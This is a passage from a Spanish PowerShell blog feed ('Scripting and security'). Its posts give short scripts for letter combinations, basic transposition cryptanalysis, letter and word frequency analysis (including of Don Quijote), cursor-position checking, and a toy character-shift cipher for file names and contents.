 $Object[$CurIndex] | ForEach-Object {
 [Array]$NewReturn = "$($Return)$($Seperator)$($_)".Trim($Seperator)
 If ($CurIndex -lt $MaxIndex) {
 $NewReturn = Combinaciones $Object -CurIndex ($CurIndex + 1) -Return $NewReturn
 }
 $NewReturn
 }
}

#Realizar un criptoanálisis básico para descifrar un texto cifrado por transposición
#Descifrar la cadena yube
$descifrar="yube"

#Añadir un diccionario a una ArrayList para ver si al resolver la transposición se encuentra la palabra en el diccionario
#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
ForEach ($elemento in gc .\diccionario.txt){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arrayletras=@(0..($descifrar.Length-1) | % {$descifrar[$_]})
$arrayletras

#Combinar cuatro letras distintas en palabras de cuatro letras
#Para cada una de las palabras que se han obtenido comprobar si se encuentra en el diccionario
Combinaciones @($arrayletras,$arrayletras,$arrayletras,$arrayletras) | %{
if($arraylist.IndexOf($_) -eq -1){"Elemento: $_ no encontrado"}
else{"Elemento $_ encontrado en la posición " + $arraylist.IndexOf($_)}
}

The post Criptoanálisis básico con PowerShell (parte 2) appeared first on Scripting and security.

Realizar combinaciones con letras en PowerShell

$
0
0

Function Combinaciones
{
  Param(
   [Object[]]$Object,
   [String]$Seperator,
   [UInt32]$CurIndex = 0,
   [String]$Return = ""
  )

  $MaxIndex = $Object.Count - 1
  $Object[$CurIndex] | ForEach-Object {
    [Array]$NewReturn = "$($Return)$($Seperator)$($_)".Trim($Seperator)
    If ($CurIndex -lt $MaxIndex) {
      $NewReturn = Combinaciones $Object -CurIndex ($CurIndex + 1) -Return $NewReturn
    }
    $NewReturn
  }
}

$palabra='abcd'
$arrayletras=@(0..($palabra.Length-1) | % {$palabra[$_]}) #-join ""
$arrayletras

#Combinar cuatro letras distintas en palabras de cuatro letras
#(Combinaciones @($arrayletras,$arrayletras,$arrayletras,$arrayletras)).count
Combinaciones @($arrayletras,$arrayletras,$arrayletras,$arrayletras)

The post Realizar combinaciones con letras en PowerShell appeared first on Scripting and security.

Análisis de frecuencias de letras en un texto con PowerShell (parte 1)

$
0
0

#Abrir el fichero texto.txt y añadir cada una de las letras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in [char[]](gc .\texto.txt)){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist

The post Análisis de frecuencias de letras en un texto con PowerShell (parte 1) appeared first on Scripting and security.

Análisis de frecuencias de letras en un texto con PowerShell (parte 2)

$
0
0

#Abrir el fichero texto.txt, añadir y agrupar cada una de las letras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in [char[]](gc .\texto.txt)){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object

The post Análisis de frecuencias de letras en un texto con PowerShell (parte 2) appeared first on Scripting and security.

Análisis de frecuencias de letras en un texto con PowerShell (parte 3)

$
0
0

#Abrir el fichero texto.txt, añadir, agrupar y obtener la frecuencia cada una de las letras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in [char[]](gc .\texto.txt)){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object | select Name,Count

The post Análisis de frecuencias de letras en un texto con PowerShell (parte 3) appeared first on Scripting and security.


Detectar si el ratón pasa por alguna posición almacenada en un fichero previamente

$
0
0

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in gc .\posicion.txt){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

for (1)
{
Start-Sleep -s 2
$dY = ([System.Windows.Forms.Cursor]::Position.Y)
$dX = ([System.Windows.Forms.Cursor]::Position.X)
Write-Host $dX,$dY
if($arraylist.IndexOf("$dX,$dY") -eq -1)
{
"Elemento no encontrado"
}
else
{
'Elemento encontrado en la posición ' + $arraylist.IndexOf("$dX,$dY")
}
}

The post Detectar si el ratón pasa por alguna posición almacenada en un fichero previamente appeared first on Scripting and security.

Análisis de frecuencias de palabras en un texto con PowerShell (parte 4)

$
0
0

#Abrir el fichero texto.txt, añadir, agrupar y obtener la frecuencia cada una de las palabras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in (gc .\texto.txt).Split(" ")){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object | select Name,Count

Script sin comas y puntos

#Abrir el fichero texto.txt, añadir, agrupar y obtener la frecuencia cada una de las palabras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList
 
ForEach ($elemento in (gc .\texto.txt).Replace(".","").Replace(",","").Split(" ")){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object | select Name,Count

The post Análisis de frecuencias de palabras en un texto con PowerShell (parte 4) appeared first on Scripting and security.

Análisis de frecuencias de palabras en el libro „El ingenioso hidalgo Don Quijote de la Mancha“ con PowerShell (parte 5)

$
0
0

#Abrir el fichero texto.txt, añadir, agrupar y obtener la frecuencia cada una de las palabras que contiene el fichero a una ArrayList

#Inicializa una nueva instancia de la clase ArrayList que está vacía y tiene la capacidad inicial predeterminada
[System.Collections.ArrayList] $arraylist = New-Object System.Collections.ArrayList

ForEach ($elemento in (gc .\quijote.txt).Split(" ")){
#Agrega un objeto al final de ArrayList
[void]$arraylist.Add($elemento)
}

$arraylist | Group-Object | Sort-Object Count -Descending | select Name,Count

The post Análisis de frecuencias de palabras en el libro „El ingenioso hidalgo Don Quijote de la Mancha“ con PowerShell (parte 5) appeared first on Scripting and security.

Cifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto

$
0
0

ForEach($fichero in ls .)
{
#Cifrar el contenido del fichero
$cifrado=gc $fichero
$var=1
$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)+$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado
#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado
$ficherosin=$fichero.Name.Replace(".","")
$ficherosin
$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)+$var)}) -join ""
$textocifrado | Out-File $ficherocifrado
}

The post Cifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto appeared first on Scripting and security.

Convertir a binario las direcciones MAC de todos dispositivos de red que hay en una red

Viewing all 409 articles
Browse latest View live